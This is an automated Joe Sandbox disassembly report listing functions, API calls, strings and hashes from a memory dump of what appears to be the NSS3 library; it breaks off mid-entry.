API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: d25770d81a66346ec8d3ee75d7040ca05f1a89f0f9731c2a061b8105961464e2
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 5F21C0B6A002156BFB118A24DC81FAB77A8EB49708F054164FE18EB351E771DC1187F1

Function 6D025ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6D025D71), ref: 6D025F0A
TlsGetValue.KERNEL32 ref: 6D025F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6D025F2F
PR_Unlock.NSS3(890008E8), ref: 6D025F55
PR_SetError.NSS3(00000000,00000000), ref: 6D025F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6D025F7D

Part of subcall function 6D025220: TlsGetValue.KERNEL32(00000000,890008E8,?,6D025F82,8B4274C0), ref: 6D025248
Part of subcall function 6D025220: EnterCriticalSection.KERNEL32(0F6D0F0D,?,6D025F82,8B4274C0), ref: 6D02525C
Part of subcall function 6D025220: PR_SetError.NSS3(00000000,00000000), ref: 6D02528E
Part of subcall function 6D025220: PR_Unlock.NSS3(0F6D0EF1), ref: 6D025299
Part of subcall function 6D025220: free.MOZGLUE(00000000), ref: 6D0252A9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 84d2ca07374712368e5914fba6affa661ecaa4b8e05466e9fae1d0de6ae21248
Instruction ID: 0353cd5666e2263c2fcb9b377efef8a038760e899461a8fd8f4ad8ffc8eecf08
Opcode Fuzzy Hash: 84d2ca07374712368e5914fba6affa661ecaa4b8e05466e9fae1d0de6ae21248
Instruction Fuzzy Hash: 362107B5C042049FEB109F64EC45BBEB7F4FF49318F554028E905A7200E731A954CB95

Function 6CFD7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD7F68

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CFD7F7B

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD7FA7

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F919C,?), ref: 6CFD7FBB

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6D0F915C,00000014), ref: 6CFD7FFE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 3ed9deccfdef9440367280d78d6588b0026eaa543bdd0243ac069eee9741e92a
Instruction ID: e100801d30c0fff7af9b50b7ba1f39c004b3933dcb83a693c309042718b4c9a3
Opcode Fuzzy Hash: 3ed9deccfdef9440367280d78d6588b0026eaa543bdd0243ac069eee9741e92a
Instruction Fuzzy Hash: 38112471D092156BF7209A25AC80F7F77E8DF4865CF16062AED69CB681F720A544C2E2

Function 6CFDBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6D05DC29,?), ref: 6CFDBE64

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6D05DC29,?), ref: 6CFDBE78

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6D05DC29,?), ref: 6CFDBE96

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6D05DC29,?), ref: 6CFDBEBB

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6D05DC29,?), ref: 6CFDBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6D05DC29,?), ref: 6CFDBEF3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4f9747a8a86eea2be4a54b02ad37870dbd0a562c500dd13406707cf0c80059c1
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 6511BB71E001165BFB008F659D41FAF3768DF45359F1A4424EE08DB680E771E905C7A1

Function 6D063C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D063D3F

Part of subcall function 6CFDBA90: PORT_NewArena_Util.NSS3(00000800,6D063CAF,?), ref: 6CFDBABF
Part of subcall function 6CFDBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6D063CAF,?), ref: 6CFDBAD5
Part of subcall function 6CFDBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6D063CAF,?), ref: 6CFDBB08
Part of subcall function 6CFDBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6D063CAF,?), ref: 6CFDBB1A
Part of subcall function 6CFDBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6D063CAF,?), ref: 6CFDBB3B

PR_EnterMonitor.NSS3(?), ref: 6D063CCB

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

PR_EnterMonitor.NSS3(?), ref: 6D063CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D063CF8
PR_ExitMonitor.NSS3(?), ref: 6D063D15
PR_ExitMonitor.NSS3(?), ref: 6D063D2E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 01b36a60e8f182fc3ffebd9cd46d2de28022be1f500a0a91c07f13c68801ec43
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 2A115B75A106406FF7204E25FC41B6FB3E8EF19208F495534E51ACB221E233F815C3A2

Function 6D02FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D02FE08

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D02FE1D

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D02FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D02FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D02FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6D02FE6F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: f1119ede0da10a8a33ddeabdcaa9ce32b3c87fbfc49e9ff3408f02ef20713985
Instruction ID: c92f6529eb9d4406776eb02dce2ef9c553eb6284219a118580cd371a8f62fa04
Opcode Fuzzy Hash: f1119ede0da10a8a33ddeabdcaa9ce32b3c87fbfc49e9ff3408f02ef20713985
Instruction Fuzzy Hash: E611E9B65052066BFF015F56EC41F6BB7DCAF583E5F058134E91887212E731D910C791

Function 6D0DFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6D0DFD9E

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6D0DFDB9

Part of subcall function 6CFBA900: TlsGetValue.KERNEL32(00000000,?,6D1314E4,?,6CF54DD9), ref: 6CFBA90F
Part of subcall function 6CFBA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFBA94F

PR_Unlock.NSS3 ref: 6D0DFDD4
PR_Lock.NSS3 ref: 6D0DFDF2
PR_NotifyAllCondVar.NSS3 ref: 6D0DFE0D
PR_Unlock.NSS3 ref: 6D0DFE23

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: ef4033977aa627c8de2d0aef00345f867f50ac35c1bba67dd6fd4e754fb5eec7
Instruction ID: 5689dd6fe25d5b8ea0a9aa2b54eeff02097cd720d14ba56144c82d79cc8458db
Opcode Fuzzy Hash: ef4033977aa627c8de2d0aef00345f867f50ac35c1bba67dd6fd4e754fb5eec7
Instruction Fuzzy Hash: 0D01E1FAD04281AFEF254F15FC009157A72BB023687128335E9284B2E3E722DD24C681

Function 6CFBAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFBAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CFBAF5C
%s at line %d of [%.10s], xrefs: 6CFBAFD3
misuse, xrefs: 6CFBAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFBAFC4

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 024cad0a27860aa15f735f38ac8f62874ad7d322da4e6a184a292a90f2431046
Instruction ID: 4847dda67305a65e5d4fd61bb46a2daddc0ee39c335c433ceff260441889377b
Opcode Fuzzy Hash: 024cad0a27860aa15f735f38ac8f62874ad7d322da4e6a184a292a90f2431046
Instruction Fuzzy Hash: A591D075A052158FDB04CF6AC894BEABBF1BF49314F1944A8E865BB791D730AD01CB60

Function 6D01FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6D01FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D01FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D01FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6D01FDDE

Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028821
Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D02883D
Part of subcall function 6D028800: EnterCriticalSection.KERNEL32(?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028856
Part of subcall function 6D028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6D028887
Part of subcall function 6D028800: PR_Unlock.NSS3(?,?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028899

Strings

pkcs11:, xrefs: 6D01FC4F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: cf24cfa1c6581211c3663b38273b6d182841b7fbd6be34ae450a079b4eb24e85
Instruction ID: 8d12c97a36a0441a34d2ee55502cf9931cea1780e1528b9bbddcf64e51ed430e
Opcode Fuzzy Hash: cf24cfa1c6581211c3663b38273b6d182841b7fbd6be34ae450a079b4eb24e85
Instruction Fuzzy Hash: 5951D177E1C1129BFB119FE4AD40B7E3BAABF41358F464024EE055B252EB30E901CB92

Function 6CF5BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CF5BE02

Part of subcall function 6D089C40: memcmp.VCRUNTIME140(?,00000000,6CF5C52B), ref: 6D089D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5BE9F

Strings

database corruption, xrefs: 6CF5BE93
%s at line %d of [%.10s], xrefs: 6CF5BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5BE89

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 87441ccb5cd2f6a8661aa9cb44a57602027be1c8c403281efeeb0953d88c1b78
Instruction ID: 75b46f407059fe9b40c775dee53ae7ab517dc39d0f3bbdde82a51bf707c7996b
Opcode Fuzzy Hash: 87441ccb5cd2f6a8661aa9cb44a57602027be1c8c403281efeeb0953d88c1b78
Instruction Fuzzy Hash: 2F315432B086598BC700CF68D8D4BABBBA2AF51314B8D8954EF585B682D771ED20C3D0

Function 6CFC0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CFC0BDE), ref: 6CFC0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CFC0BDE), ref: 6CFC0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CFC0BDE), ref: 6CFC0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CFC0BDE), ref: 6CFC0E32

Strings

%s incr => %d (find lib), xrefs: 6CFC0E2D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 466c9c06a3ef20e90fa211f151fff1d61c78c807095fd898bba96f399c3e0cd5
Instruction ID: 36c70c8f851fdd7aa63d7cadea10b7fb2fecf5fe7375b8dc7a7be01dc8bd314a
Opcode Fuzzy Hash: 466c9c06a3ef20e90fa211f151fff1d61c78c807095fd898bba96f399c3e0cd5
Instruction Fuzzy Hash: E00124B2740214AFE6208F659C45F2773ACDF45A08B06442DEA09D3642E7E2EC1586E2

Function 6CF69C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF69CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CF69D45
EnterCriticalSection.KERNEL32(?), ref: 6CF69D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CF69DDE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8b2f965b0d37aac4afb098bb7ac5f24fcc5a4a39be434b25cb77f92f32d8b0af
Instruction ID: 10e9e5afe94c45170c9e59fc4f7990acb8b6eb4075dd6209fc38e392e91a4b66
Opcode Fuzzy Hash: 8b2f965b0d37aac4afb098bb7ac5f24fcc5a4a39be434b25cb77f92f32d8b0af
Instruction Fuzzy Hash: DEA1B3756041009FEB189FB6F988BAE3771EF86314F19012DD40687E40DFB69A86CB56

Function 6CFF1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CFF1ECC

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
